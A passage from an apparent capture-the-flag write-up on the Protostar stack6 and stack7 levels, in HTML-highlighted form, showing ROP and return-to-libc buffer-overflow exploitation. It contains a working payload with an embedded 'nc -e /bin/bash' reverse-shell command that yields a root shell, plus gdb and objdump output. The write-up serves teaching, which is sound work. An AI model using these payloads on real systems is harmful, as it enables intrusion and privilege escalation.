span class="code-line"span class="gp gp-VirtualEnv"(gdb)/span span class="go"r/span/span
span class="code-line"span class="go"Starting program: /opt/protostar/bin/stack6 /span/span
span class="code-line"/span
span class="code-line"span class="go"Breakpoint 1, main (argc=1, argv=0xbffff864) at stack6/stack6.c:26/span/span
span class="code-line"span class="go"26  stack6/stack6.c: No such file or directory./span/span
span class="code-line"span class="go"    in stack6/stack6.c/span/span
span class="code-line"span class="gp gp-VirtualEnv"(gdb)/span span class="go"print setuid/span/span
span class="code-line"span class="gp"$/spanspan class="nv"1/span span class="o"=/span span class="o"{/spanlt;text variable, no debug infogt;span class="o"}/span 0xb7f2ec80 lt;__setuidgt;/span
span class="code-line"span class="gp gp-VirtualEnv"(gdb)/span span class="go"print execve/span/span
span class="code-line"span class="gp"$/spanspan class="nv"2/span span class="o"=/span span class="o"{/spanlt;text variable, no debug infogt;span class="o"}/span 0xb7f2e170 lt;__execvegt;/span
span class="code-line"/code/pre/div
/td/tr/table
pAs you can see, the address of setuid doesn't start with codebf/code so we can use this as our initial return address./p
pWe now want to address of our ROP gadget, this will just be responsible for cleaning up the stack after the call to setuid, so this time we want a codepop [register], ret/code sequence of instructions./p
pAgain we can use codeobjdump/code to find this, I won't post another dump of the binary but there are many of these sequencies we can use, I'll use the one at code0x80485a8/code./p
pWe can put our strings in to variables but this time, because we can insert null bytes (strong\0/strong), I will put the strings at the start of the payload./p
pThe number of bytes that the strings will occupy is:/p
table class="highlighttable"trtd class="linenos"div class="linenodiv"prespan class="code-line"span class="normal"1/span/span
span class="code-line"span class="normal"2/span/pre/div/tdtd class="code"div class="highlight"prespan class="code-line"span/spancodespan class="gp"[email protected]:/opt/protostar/bin$ /spanspan class="nb"echo/span -n span class="s2"quot;/bin/bash -c nc -e /bin/bash 127.0.0.1 9000 quot;/span span class="p"|/span wc -c/span
span class="code-line"span class="go"44/span/span
span class="code-line"/code/pre/div
/td/tr/table
pWe know we have 80 bytes before we overwrite the return address, so we need code80-44 = 36/code bytes of padding after our strings./p
pSo here is how we want the stack to look after we overflow it:/p
pimg src="/assets/images/x86-32-linux/pseudo-stack.jpg" width="400"/p
pWe have all of these addresses except 11, 12, 14 and 15. Let's work these out now./p
pFirst 14 is just 10 bytes away from the start of our payload, and we already know the start of our payload is code0xbffff78c/code from the last exploit, so code0xbffff78c+0xa = 0xbffff796/code./p
p15 is just 3 bytes from 13 so code0xbffff796+0x3 = 0xbffff799/code./p
p11 is the start of our payload plus 80 bytes, then plus code8*4 = 32/code (there are 8 addresses before the argument list starts, each 4 bytes long), so code0xbffff78c+0x50+0x20 = 0xbffff7fc/code./p
p12 is just code3*4 = 12/code bytes away from 10 (because there are 3 4 byte addresses before the null pointer), so code0xbffff7fc+0xc = 0xbffff808/code./p
pSo with all of this information our stack should look like this:/p
pimg src="/assets/images/x86-32-linux/stack6-payload.jpg" width="400"/p
pObviously all of the addresses have to be put in in a href="https://en.wikipedia.org/wiki/Endianness#Little-endian" target="_blank"little endian/a format./p
pNow we can test this, first start our listener:/p
table class="highlighttable"trtd class="linenos"div class="linenodiv"prespan class="code-line"span class="normal"1/span/pre/div/tdtd class="code"div class="highlight"prespan class="code-line"span/spancodespan class="gp"[email protected]:~$ /spannc -l -p span class="m"9000/span/span
span class="code-line"/code/pre/div
/td/tr/table
table class="highlighttable"trtd class="linenos"div class="linenodiv"prespan class="code-line"span class="normal"1/span/span
span class="code-line"span class="normal"2/span/pre/div/tdtd class="code"div class="highlight"prespan class="code-line"span/spancodespan class="gp"[email protected]:/opt/protostar/bin$ /spanpython -c span class="s1"#39;print quot;/bin/bash\x00-c\x00nc -e /bin/bash 127.0.0.1 9000\x00quot; + quot;Aquot; * 36 + quot;\x80\xec\xf2\xb7quot; + quot;\xa8\x85\x04\x08quot; + quot;\x00\x00\x00\x00quot; + quot;\x70\xe1\xf2\xb7quot; + quot;JUNKquot; + quot;\x8c\xf7\xff\xbfquot; + quot;\xfc\xf7\xff\xbfquot; + quot;\x08\xf8\xff\xbfquot; + quot;\x8c\xf7\xff\xbfquot; + quot;\x96\xf7\xff\xbfquot; + quot;\x99\xf7\xff\xbfquot; + quot;\x00\x00\x00\x00quot;#39;/span span class="p"|/span ./stack6/span
span class="code-line"span class="go"input path please: got path /bin/bash/span/span
span class="code-line"/code/pre/div
/td/tr/table
table class="highlighttable"trtd class="linenos"div class="linenodiv"prespan class="code-line"span class="normal"1/span/span
span class="code-line"span class="normal"2/span/span
span class="code-line"span class="normal"3/span/span
span class="code-line"span class="normal"4/span/pre/div/tdtd class="code"div class="highlight"prespan class="code-line"span/spancodespan class="go"pwd/span/span
span class="code-line"span class="go"/opt/protostar/bin/span/span
span class="code-line"span class="go"whoami/span/span
span class="code-line"span class="go"root/span/span
span class="code-line"/code/pre/div
/td/tr/table
pSolved!/p
h2Stack7: The App/h2
pThis challenge is very similar to the previous 1 except the return address is not allowed to begin with codeb/code instead of codebf/code:/p
table class="highlighttable"trtd class="linenos"div class="linenodiv"prespan class="code-line"span class="normal" 1/span/span
span class="code-line"span class="normal" 2/span/span
span class="code-line"span class="normal" 3/span/span
span class="code-line"span class="normal" 4/span/span
span class="code-line"span class="normal" 5/span/span
span class="code-line"span class="normal" 6/span/span
span class="code-line"span class="normal" 7/span/span
span class="code-line"span class="normal" 8/span/span
span class="code-line"span class="normal" 9/span/span
span class="code-line"span class="normal"10/span/span
span class="code-line"span class="normal"11/span/span
span class="code-line"span class="normal"12/span/span
span class="code-line"span class="normal"13/span/span
span class="code-line"span class="normal"14/span/span
span class="code-line"span class="normal"15/span/span
span class="code-line"span class="normal"16/span/span
span class="code-line"span class="normal"17/span/span
span class="code-line"span class="normal"18/span/span
span class="code-line"span class="normal"19/span/span
span class="code-line"span class="normal"20/span/span
span class="code-line"span class="normal"21/span/span
span class="code-line"span class="normal"22/span/span
span class="code-line"span class="normal"23/span/span
span class="code-line"span class="normal"24/span/span
span class="code-line"span class="normal"25/span/span
span class="code-line"span class="normal"26/span/span
span class="code-line"span class="normal"27/span/span
span class="code-line"span class="normal"28/span/span
span class="code-line"span class="normal"29/span/span
span class="code-line"span class="normal"30/span/span
span class="code-line"span class="normal"31/span/span
span class="code-line"span class="normal"32/span/pre/div/tdtd class="code"div class="highlight"prespan class="code-line"span/spancodespan class="cp"#include/spanspan class="w" /spanspan class="cpf"lt;stdlib.hgt;/spanspan class="cp"/span/span
span class="code-line"span class="cp"#include/spanspan class="w" /spanspan class="cpf"lt;unistd.hgt;/spanspan class="cp"/span/span
span class="code-line"span class="cp"#include/spanspan class="w" /spanspan class="cpf"lt;stdio.hgt;/spanspan class="cp"/span/span
span class="code-line"span class="cp"#include/spanspan class="w" /spanspan class="cpf"lt;string.hgt;/spanspan class="cp"/span/span
span class="code-line"/span
span class="code-line"span class="kt"char/spanspan class="w" /spanspan class="o"*/spanspan class="nf"getpath/spanspan class="p"()/spanspan class="w"/span/span
span class="code-line"span class="p"{/spanspan class="w"/span/span
span class="code-line"span class="w"  /spanspan class="kt"char/spanspan class="w" /spanspan class="n"buffer/spanspan class="p"[/spanspan class="mi"64/spanspan class="p"];/spanspan class="w"/span/span
span class="code-line"span class="w"  /spanspan class="kt"unsigned/spanspan class="w" /spanspan class="kt"int/spanspan class="w" /spanspan class="n"ret/spanspan class="p";/spanspan class="w"/span/span
span class="code-line"/span
span class="code-line"span class="w"  /spanspan class="n"printf/spanspan class="p"(/spanspan class="s"quot;input path please: quot;/spanspan class="p");/spanspan class="w" /spanspan class="n"fflush/spanspan class="p"(/spanspan class="n"stdout/spanspan class="p");/spanspan class="w"/span/span
span class="code-line"/span
span class="code-line"span class="w"  /spanspan class="n"gets/spanspan class="p"(/spanspan class="n"buffer/spanspan class="p");/spanspan class="w"/span/span
span class="code-line"/span
span class="code-line"span class="w"  /spanspan class="n"ret/spanspan class="w" /spanspan class="o"=/spanspan class="w" /spanspan class="n"__builtin_return_address/spanspan class="p"(/spanspan class="mi"0/spanspan class="p");/spanspan class="w"/span/span
span class="code-line"/span
span class="code-line"span class="w"  /spanspan class="k"if/spanspan class="p"((/spanspan class="n"ret/spanspan class="w" /spanspan class="o"amp;/spanspan class="w" /spanspan class="mh"0xb0000000/spanspan class="p")/spanspan class="w" /spanspan class="o"==/spanspan class="w" /spanspan class="mh"0xb0000000/spanspan class="p")/spanspan class="w" /spanspan class="p"{/spanspan class="w"/span/span
span class="code-line"span class="w"    /spanspan class="n"printf/spanspan class="p"(/spanspan class="s"quot;bzzzt (%p)/spanspan class="se"\n/spanspan class="s"quot;/spanspan class="p",/spanspan class="w" /spanspan class="n"ret/spanspan class="p");/spanspan class="w"/span/span
span class="code-line"span class="w"    /spanspan class="n"_exit/spanspan class="p"(/spanspan class="mi"1/spanspan class="p");/spanspan class="w"/span/span
span class="code-line"span class="w"  /spanspan class="p"}/spanspan class="w"/span/span
span class="code-line"/span
span class="code-line"span class="w"  /spanspan class="n"printf/spanspan class="p"(/spanspan class="s"quot;got path %s/spanspan class="se"\n/spanspan class="s"quot;/spanspan class="p",/spanspan class="w" /spanspan class="n"buffer/spanspan class="p");/spanspan class="w"/span/span
span class="code-line"span class="w"  /spanspan class="k"return/spanspan class="w" /spanspan class="n"strdup/spanspan class="p"(/spanspan class="n"buffer/spanspan class="p");/spanspan class="w"/span/span
span class="code-line"span class="p"}/spanspan class="w"/span/span
span class="code-line"/span
span class="code-line"span class="kt"int/spanspan class="w" /spanspan class="nf"main/spanspan class="p"(/spanspan class="kt"int/spanspan class="w" /spanspan class="n"argc/spanspan class="p",/spanspan class="w" /spanspan class="kt"char/spanspan class="w" /spanspan class="o"**/spanspan class="n"argv/spanspan class="p")/spanspan class="w"/span/span
span class="code-line"span class="p"{/spanspan class="w"/span/span
span class="code-line"span class="w"  /spanspan class="n"getpath/spanspan class="p"();/spanspan class="w"/span/span
span class="code-line"/span
span class="code-line"/span
span class="code-line"/span
span class="code-line"span class="p"}/spanspan class="w"/span/span
span class="code-line"/code/pre/div
/td/tr/table
h2Stack7: Exploitation/h2
pWe could use exactly the same method as the last 1 and just put a pointer to a coderet/code instruction before the call to codesetuid/code but I want to show a different way to do it./p
pI'm going to use codesystem/code instead of codeexecve/code and put my string into an environment variable./p
pFirst let's find the addresses of codesetuid/code and codesystem/code:/p
table class="highlighttable"trtd class="linenos"div class="linenodiv"prespan class="code-line"span class="normal" 1/span/span
span class="code-line"span class="normal" 2/span/span
span class="code-line"span class="normal" 3/span/span
span class="code-line"span class="normal" 4/span/span
span class="code-line"span class="normal" 5/span/span
span class="code-line"span class="normal" 6/span/span
span class="code-line"span class="normal" 7/span/span
span class="code-line"span class="normal" 8/span/span
span class="code-line"span class="normal" 9/span/span
span class="code-line"span class="normal"10/span/span
span class="code-line"span class="normal"11/span/span
span class="code-line"span class="normal"12/span/span
span class="code-line"span class="normal"13/span/span
span class="code-line"span class="normal"14/span/span
span class="code-line"span class="normal"15/span/span
span class="code-line"span class="normal"16/span/span
span class="code-line"span class="normal"17/span/span
span class="code-line"span class="normal"18/span/span
span class="code-line"span class="normal"19/span/span
span class="code-line"span class="normal"20/span/span
span class="code-line"span class="normal"21/span/span
span class="code-line"span class="normal"22/span/span
span class="code-line"span class="normal"23/span/span
span class="code-line"span class="normal"24/span/span
span class="code-line"span class="normal"25/span/pre/div/tdtd class="code"div class="highlight"prespan class="code-line"span/spancodespan class="gp"[email protected]:/opt/protostar/bin$ /spangdb -q ./stack7/span
span class="code-line"span class="go"Reading symbols from /opt/protostar/bin/stack7...done./span/span
span class="code-line"span class="gp gp-VirtualEnv"(gdb)/span span class="go"set disassembly-flavor intel/span/span
span class="code-line"span class="gp gp-VirtualEnv"(gdb)/span span class="go"disassemble main/span/span
span class="code-line"span class="go"Dump of assembler code for function main:/span/span
span class="code-line"span class="go"0x08048545 lt;main+0gt;:    push   ebp/span/span
span class="code-line"span class="go"0x08048546 lt;main+1gt;:    mov    ebp,esp/span/span
span class="code-line"span class="go"0x08048548 lt;main+3gt;:    and    esp,0xfffffff0/span/span
span class="code-line"span class="go"0x0804854b lt;main+6gt;:    call   0x80484c4 lt;getpathgt;/span/span
span class="code-line"span class="go"0x08048550 lt;main+11gt;:   mov    esp,ebp/span/span
span class="code-line"span class="go"0x08048552 lt;main+13gt;:   pop    ebp/span/span
span class="code-line"span class="go"0x08048553 lt;main+14gt;:   ret    /span/span
span class="code-line"span class="go"End of assembler dump./span/span
span class="code-line"span class="gp gp-VirtualEnv"(gdb)/span span class="go"break *0x08048545/span/span
span class="code-line"span class="go"Breakpoint 1 at 0x8048545: file stack7/stack7.c, line 27./span/span
span class="code-line"span class="gp gp-VirtualEnv"(gdb)/span span class="go"r/span/span
span class="code-line"span class="go"Starting program: /opt/protostar/bin/stack7 /span/span
span class="code-line"/span
span class="code-line"span class="go"Breakpoint 1, main (argc=1, argv=0xbffff864) at stack7/stack7.c:27/span/span
span class="code-line"span class="go"27  stack7/stack7.c: No such file or directory./span/span
span class="code-line"span class="go"    in stack7/stack7.c/span/span
span class="code-line"span class="gp gp-VirtualEnv"(gdb)/span span class="go"print setuid/span/span
span class="code-line"span class="gp"$/spanspan class="nv"1/span span class="o"=/span span class="o"{/spanlt;text variable, no debug infogt;span class="o"}/span 0xb7f2ec80 lt;__setuidgt;/span
span class="code-line"span class="gp gp-VirtualEnv"(gdb)/span span class="go"print system/span/span
span class="code-line"span class="gp"$/spanspan class="nv"2/span span class="o"=/span span class="o"{/spanlt;text variable, no debug infogt;span class="o"}/span 0xb7ecffb0 lt;__libc_systemgt;/span
span class="code-line"/code/pre/div
/td/tr/table
pNow we need to find the addresses of our ROP gadgets, the first being just a coderet/code instruction and the second being a codepop [register], ret/code sequence to remove the argument to codesetuid/code before running codesystem/code, although these gadgets will be 1 byte away from each other:/p
table class="highlighttable"trtd class="linenos"div class="linenodiv"prespan class="code-line"span class="normal"  1/span/span
span class="code-line"span class="normal"  2/span/span
span class="code-line"span class="normal"  3/span/span
span class="code-line"span class="normal"  4/span/span
span class="code-line"span class="normal"  5/span/span
span class="code-line"span class="normal"  6/span/span
span class="code-line"span class="normal"  7/span/span
span class="code-line"span class="normal"  8/span/span
span class="code-line"span class="normal"  9/span/span
span class="code-line"span class="normal" 10/span/span
span class="code-line"span class="normal" 11/span/span
span class="code-line"span class="normal" 12/span/span
span class="code-line"span class="normal" 13/span/span
span class="code-line"span class="normal" 14/span/span
span class="code-line"span class="normal" 15/span/span
span class="code-line"span class="normal" 16/span/span
span class="code-line"span class="normal" 17/span/span
span class="code-line"span class="normal" 18/span/span
span class="code-line"span class="normal" 19/span/span
span class="code-line"span class="normal" 20/span/span
span class="code-line"span class="normal" 21/span/span
span class="code-line"span class="normal" 22/span/span
span class="code-line"span class="normal" 23/span/span
span class="code-line"span class="normal" 24/span/span
span class="code-line"span class="normal" 25/span/span
span class="code-line"span class="normal" 26/span/span
span class="code-line"span class="normal" 27/span/span
span class="code-line"span class="normal" 28/span/span
span class="code-line"span class="normal" 29/span/span
span class="code-line"span class="normal" 30/span/span
span class="code-line"span class="normal" 31/span/span
span class="code-line"span class="normal" 32/span/span
span class="code-line"span class="normal" 33/span/span
span class="code-line"span class="normal" 34/span/span
span class="code-line"span class="normal" 35/span/span
span class="code-line"span class="normal" 36/span/span
span class="code-line"span class="normal" 37/span/span
span class="code-line"span class="normal" 38/span/span
span class="code-line"span class="normal" 39/span/span
span class="code-line"span class="normal" 40/span/span
span class="code-line"span class="normal" 41/span/span
span class="code-line"span class="normal" 42/span/span
span class="code-line"span class="normal" 43/span/span
span class="code-line"span class="normal" 44/span/span
span class="code-line"span class="normal" 45/span/span
span class="code-line"span class="normal" 46/span/span
span class="code-line"span class="normal" 47/span/span
span class="code-line"span class="normal" 48/span/span
span class="code-line"span class="normal" 49/span/span
span class="code-line"span class="normal" 50/span/span
span class="code-line"span class="normal" 51/span/span
span class="code-line"span class="normal" 52/span/span
span class="code-line"span class="normal" 53/span/span
span class="code-line"span class="normal" 54/span/span
span class="code-line"span class="normal" 55/span/span
span class="code-line"span class="normal" 56/span/span
span class="code-line"span class="normal" 57/span/span
span class="code-line"span class="normal" 58/span/span
span class="code-line"span class="normal" 59/span/span
span class="code-line"span class="normal" 60/span/span
span class="code-line"span class="normal" 61/span/span
span class="code-line"span class="normal" 62/span/span
span class="code-line"span class="normal" 63/span/span
span class="code-line"span class="normal" 64/span/span
span class="code-line"span class="normal" 65/span/span
span class="code-line"span class="normal" 66/span/span
span class="code-line"span class="normal" 67/span/span
span class="code-line"span class="normal" 68/span/span
span class="code-line"span class="normal" 69/span/span
span class="code-line"span class="normal" 70/span/span
span class="code-line"span class="normal" 71/span/span
span class="code-line"span class="normal" 72/span/span
span class="code-line"span class="normal" 73/span/span
span class="code-line"span class="normal" 74/span/span
span class="code-line"span class="normal" 75/span/span
span class="code-line"span class="normal" 76/span/span
span class="code-line"span class="normal" 77/span/span
span class="code-line"span class="normal" 78/span/span
span class="code-line"span class="normal" 79/span/span
span class="code-line"span class="normal" 80/span/span
span class="code-line"span class="normal" 81/span/span
span class="code-line"span class="normal" 82/span/span
span class="code-line"span class="normal" 83/span/span
span class="code-line"span class="normal" 84/span/span
span class="code-line"span class="normal" 85/span/span
span class="code-line"span class="normal" 86/span/span
span class="code-line"span class="normal" 87/span/span
span class="code-line"span class="normal" 88/span/span
span class="code-line"span class="normal" 89/span/span
span class="code-line"span class="normal" 90/span/span
span class="code-line"span class="normal" 91/span/span
span class="code-line"span class="normal" 92/span/span
span class="code-line"span class="normal" 93/span/span
span class="code-line"span class="normal" 94/span/span
span class="code-line"span class="normal" 95/span/span
span class="code-line"span class="normal" 96/span/span
span class="code-line"span class="normal" 97/span/span
span class="code-line"span class="normal" 98/span/span
span class="code-line"span class="normal" 99/span/span
span class="code-line"span class="normal"100/span/span
span class="code-line"span class="normal"101/span/span
span class="code-line"span class="normal"102/span/span
span class="code-line"span class="normal"103/span/span
span class="code-line"span class="normal"104/span/span
span class="code-line"span class="normal"105/span/span
span class="code-line"span class="normal"106/span/span
span class="code-line"span class="normal"107/span/span
span class="code-line"span class="normal"108/span/span
span class="code-line"span class="normal"109/span/span
span class="code-line"span class="normal"110/span/span
span class="code-line"span class="normal"111/span/span
span class="code-line"span class="normal"112/span/span
span class="code-line"span class="normal"113/span/span
span class="code-line"span class="normal"114/span/span
span class="code-line"span class="normal"115/span/span
span class="code-line"span class="normal"116/span/span
span class="code-line"span class="normal"117/span/span
span class="code-line"span class="normal"118/span/span
span class="code-line"span class="normal"119/span/span
span class="code-line"span class="normal"120/span/span
span class="code-line"span class="normal"121/span/span
span class="code-line"span class="normal"122/span/span
span class="code-line"span class="normal"123/span/span
span class="code-line"span class="normal"124/span/span
span class="code-line"span class="normal"125/span/span
span class="code-line"span class="normal"126/span/span
span class="code-line"span class="normal"127/span/span
span class="code-line"span class="normal"128/span/span
span class="code-line"span class="normal"129/span/span
span class="code-line"span class="normal"130/span/span
span class="code-line"span class="normal"131/span/span
span class="code-line"span class="normal"132/span/span
span class="code-line"span class="normal"133/span/span
span class="code-line"span class="normal"134/span/span
span class="code-line"span class="normal"135/span/span
span class="code-line"span class="normal"136/span/span
span class="code-line"span class="normal"137/span/span
span class="code-line"span class="normal"138/span/span
span class="code-line"span class="normal"139/span/span
span class="code-line"span class="normal"140/span/span
span class="code-line"span class="normal"141/span/span
span class="code-line"span class="normal"142/span/span
span class="code-line"span class="normal"143/span/span
span class="code-line"span class="normal"144/span/span
span class="code-line"span class="normal"145/span/span
span class="code-line"span class="normal"146/span/span
span class="code-line"span class="normal"147/span/span
span class="code-line"span class="normal"148/span/span
span class="code-line"span class="normal"149/span/span
span class="code-line"span class="normal"150/span/span
span class="code-line"span class="normal"151/span/span
span class="code-line"span class="normal"152/span/span
span class="code-line"span class="normal"153/span/span
span class="code-line"span class="normal"154/span/span
span class="code-line"span class="normal"155/span/span
span class="code-line"span class="normal"156/span/span
span class="code-line"span class="normal"157/span/span
span class="code-line"span class="normal"158/span/span
span class="code-line"span class="normal"159/span/span
span class="code-line"span class="normal"160/span/span
span class="code-line"span class="normal"161/span/span
span class="code-line"span class="normal"162/span/span
span class="code-line"span class="normal"163/span/span
span class="code-line"span class="normal"164/span/span
span class="code-line"span class="normal"165/span/span
span class="code-line"span class="normal"166/span/span
span class="code-line"span class="normal"167/span/span
span class="code-line"span class="normal"168/span/span
span class="code-line"span class="normal"169/span/span
span class="code-line"span class="normal"170/span/span
span class="code-line"span class="normal"171/span/span
span class="code-line"span class="normal"172/span/span
span class="code-line"span class="normal"173/span/span
span class="code-line"span class="normal"174/span/span
span class="code-line"span class="normal"175/span/span
span class="code-line"span class="normal"176/span/span
span class="code-line"span class="normal"177/span/span
span class="code-line"span class="normal"178/span/span
span class="code-line"span class="normal"179/span/span
span class="code-line"span class="normal"180/span/span
span class="code-line"span class="normal"181/span/span
span class="code-line"span class="normal"182/span/span
span class="code-line"span class="normal"183/span/span
span class="code-line"span class="normal"184/span/span
span class="code-line"span class="normal"185/span/span
span class="code-line"span class="normal"186/span/span
span class="code-line"span class="normal"187/span/span
span class="code-line"span class="normal"188/span/span
span class="code-line"span class="normal"189/span/span
span class="code-line"span class="normal"190/span/span
span class="code-line"span class="normal"191/span/span
span class="code-line"span class="normal"192/span/span
span class="code-line"span class="normal"193/span/span
span class="code-line"span class="normal"194/span/span
span class="code-line"span class="normal"195/span/span
span class="code-line"span class="normal"196/span/span
span class="code-line"span class="normal"197/span/span
span class="code-line"span class="normal"198/span/span
span class="code-line"span class="normal"199/span/span
span class="code-line"span class="normal"200/span/span
span class="code-line"span class="normal"201/span/span
span class="code-line"span class="normal"202/span/span
span class="code-line"span class="normal"203/span/span
span class="code-line"span class="normal"204/span/span
span class="code-line"span class="normal"205/span/span
span class="code-line"span class="normal"206/span/span
span class="code-line"span class="normal"207/span/span
span class="code-line"span class="normal"208/span/span
span class="code-line"span class="normal"209/span/span
span class="code-line"span class="normal"210/span/span
span class="code-line"span class="normal"211/span/span
span class="code-line"span class="normal"212/span/span
span class="code-line"span class="normal"213/span/span
span class="code-line"span class="normal"214/span/span
span class="code-line"span class="normal"215/span/span
span class="code-line"span class="normal"216/span/span
span class="code-line"span class="normal"217/span/span
span class="code-line"span class="normal"218/span/span
span class="code-line"span class="normal"219/span/span
span class="code-line"span class="normal"220/span/span
span class="code-line"span class="normal"221/span/span
span class="code-line"span class="normal"222/span/span
span class="code-line"span class="normal"223/span/span
span class="code-line"span class="normal"224/span/span
span class="code-line"span class="normal"225/span/span
span class="code-line"span class="normal"226/span/span
span class="code-line"span class="normal"227/span/span
span class="code-line"span class="normal"228/span/span
span class="code-line"span class="normal"229/span/span
span class="code-line"span class="normal"230/span/span
span class="code-line"span class="normal"231/span/span
span class="code-line"span class="normal"232/span/span
span class="code-line"span class="normal"233/span/span
span class="code-line"span class="normal"234/span/span
span class="code-line"span class="normal"235/span/span
span class="code-line"span class="normal"236/span/span
span class="code-line"span class="normal"237/span/span
span class="code-line"span class="normal"238/span/span
span class="code-line"span class="normal"239/span/span
span class="code-line"span class="normal"240/span/span
span class="code-line"span class="normal"241/span/span
span class="code-line"span class="normal"242/span/span
span class="code-line"span class="normal"243/span/span
span class="code-line"span class="normal"244/span/span
span class="code-line"span class="normal"245/span/span
span class="code-line"span class="normal"246/span/span
span class="code-line"span class="normal"247/span/span
span class="code-line"span class="normal"248/span/span
span class="code-line"span class="normal"249/span/span
span class="code-line"span class="normal"250/span/span
span class="code-line"span class="normal"251/span/span
span class="code-line"span class="normal"252/span/span
span class="code-line"span class="normal"253/span/span
span class="code-line"span class="normal"254/span/span
span class="code-line"span class="normal"255/span/span
span class="code-line"span class="normal"256/span/span
span class="code-line"span class="normal"257/span/span
span class="code-line"span class="normal"258/span/span
span class="code-line"span class="normal"259/span/span
span class="code-line"span class="normal"260/span/span
span class="code-line"span class="normal"261/span/span
span class="code-line"span class="normal"262/span/span
span class="code-line"span class="normal"263/span/span
span class="code-line"span class="normal"264/span/span
span class="code-line"span class="normal"265/span/span
span class="code-line"span class="normal"266/span/span
span class="code-line"span class="normal"267/span/span
span class="code-line"span class="normal"268/span/span
span class="code-line"span class="normal"269/span/span
span class="code-line"span class="normal"270/span/span
span class="code-line"span class="normal"271/span/span
span class="code-line"span class="normal"272/span/span
span class="code-line"span class="normal"273/span/span
span class="code-line"span class="normal"274/span/span
span class="code-line"span class="normal"275/span/span
span class="code-line"span class="normal"276/span/span
span class="code-line"span class="normal"277/span/span
span class="code-line"span class="normal"278/span/span
span class="code-line"span class="normal"279/span/span
span class="code-line"span class="normal"280/span/span
span class="code-line"span class="normal"281/span/span
span class="code-line"span class="normal"282/span/span
span class="code-line"span class="normal"283/span/span
span class="code-line"span class="normal"284/span/span
span class="code-line"span class="normal"285/span/span
span class="code-line"span class="normal"286/span/span
span class="code-line"span class="normal"287/span/span
span class="code-line"span class="normal"288/span/span
span class="code-line"span class="normal"289/span/pre/div/tdtd class="code"div class="highlight"prespan class="code-line"span/spancodespan class="x"[email protected]:/opt/protostar/bin$ objdump -d ./stack7 -M intel/span/span
span class="code-line"/span
span class="code-line"span class="nl"./stack7/spanspan class="p":/span     file format span class="s"elf32-i386/span/span
span class="code-line"/span
span class="code-line"/span
span class="code-line"Disassembly of section span class="nl".init/spanspan class="p":/span/span
span class="code-line"/span
span class="code-line"span class="mh"08048354/spanspan class="w" /spanspan class="p"lt;/spanspan class="nf"_init/spanspan class="p"gt;:/span/span
span class="code-line"span class="x" 8048354:   55                      push   ebp/span/span
span class="code-line"span class="x" 8048355:   89 e5                   mov    ebp,esp/span/span
span class="code-line"span class="x" 8048357:   53                      push   ebx/span/span
span class="code-line"span class="x" 8048358:   83 ec 04                sub    esp,0x4/span/span
span class="code-line"span class="x" 804835b:   e8 00 00 00 00          call   8048360 lt;_init+0xcgt;/span/span
span class="code-line"span class="x" 8048360:   5b                      pop    ebx/span/span
span class="code-line"span class="x" 8048361:   81 c3 dc 13 00 00       add    ebx,0x13dc/span/span
span class="code-line"span class="x" 8048367:   8b 93 fc ff ff ff       mov    edx,DWORD PTR [ebx-0x4]/span/span
span class="code-line"span class="x" 804836d:   85 d2                   test   edx,edx/span/span
span class="code-line"span class="x" 804836f:   74 05                   je     8048376 lt;_init+0x22gt;/span/span
span class="code-line"span class="x" 8048371:   e8 1e 00 00 00          call   8048394 lt;[email protected];/span/span
span class="code-line"span class="x" 8048376:   e8 25 01 00 00          call   80484a0 lt;frame_dummygt;/span/span
span class="code-line"span class="x" 804837b:   e8 50 02 00 00          call   80485d0 lt;__do_global_ctors_auxgt;/span/span
span class="code-line"span class="x" 8048380:   58                      pop    eax/span/span
span class="code-line"span class="x" 8048381:   5b                      pop    ebx/span/span
span class="code-line"span class="x" 8048382:   c9                      leave  /span/span
span class="code-line"span class="x" 8048383:   c3                      ret    /span/span
span class="code-line"/span
span class="code-line"Disassembly of section span class="nl".plt/spanspan class="p":/span/span
span class="code-line"/span
span class="code-line"span class="mh"08048384/spanspan class="w" /spanspan class="p"lt;/spanspan class="nf"[email protected]/spanspan class="p"-/spanspan class="mh"0x10/spanspan class="p"gt;:/span/span
span class="code-line"span class="x" 8048384:   ff 35 40 97 04 08       push   DWORD PTR ds:0x8049740/span/span
span class="code-line"span class="x" 804838a:   ff 25 44 97 04 08       jmp    DWORD PTR ds:0x8049744/span/span
span class="code-line"span class="x" 8048390:   00 00                   add    BYTE PTR [eax],al/span/span
span class="code-line"span class="x"    .../span/span
span class="code-line"/span
span class="code-line"span class="mh"08048394/spanspan class="w" /spanspan class="p"lt;/spanspan class="nf"[email protected]/spanspan class="p"gt;:/span/span
span class="code-line"span class="x" 8048394:   ff 25 48 97 04 08       jmp    DWORD PTR ds:0x8049748/span/span
span class="code-line"span class="x" 804839a:   68 00 00 00 00          push   0x0/span/span
span class="code-line"span class="x" 804839f:   e9 e0 ff ff ff          jmp    8048384 lt;_init+0x30gt;/span/span
span class="code-line"/span
span class="code-line"span class="mh"080483a4/spanspan class="w" /spanspan class="p"lt;/spanspan class="nf"[email protected]/spanspan class="p"gt;:/span/span
span class="code-line"span class="x" 80483a4:   ff 25 4c 97 04 08       jmp    DWORD PTR ds:0x804974c/span/span
span class="code-line"span class="x" 80483aa:   68 08 00 00 00          push   0x8/span/span
span class="code-line"span class="x" 80483af:   e9 d0 ff ff ff          jmp    8048384 lt;_init+0x30gt;/span/span
span class="code-line"/span
span class="code-line"span class="mh"080483b4/spanspan class="w" /spanspan class="p"lt;/spanspan class="nf"[email protected]/spanspan class="p"gt;:/span/span
span class="code-line"span class="x" 80483b4:   ff 25 50 97 04 08       jmp    DWORD PTR ds:0x8049750/span/span
span class="code-line"span class="x" 80483ba:   68 10 00 00 00          push   0x10/span/span
span class="code-line"span class="x" 80483bf:   e9 c0 ff ff ff          jmp    8048384 lt;_init+0x30gt;/span/span
span class="code-line"/span
span class="code-line"span class="mh"080483c4/spanspan class="w" /spanspan class="p"lt;/spanspan class="nf"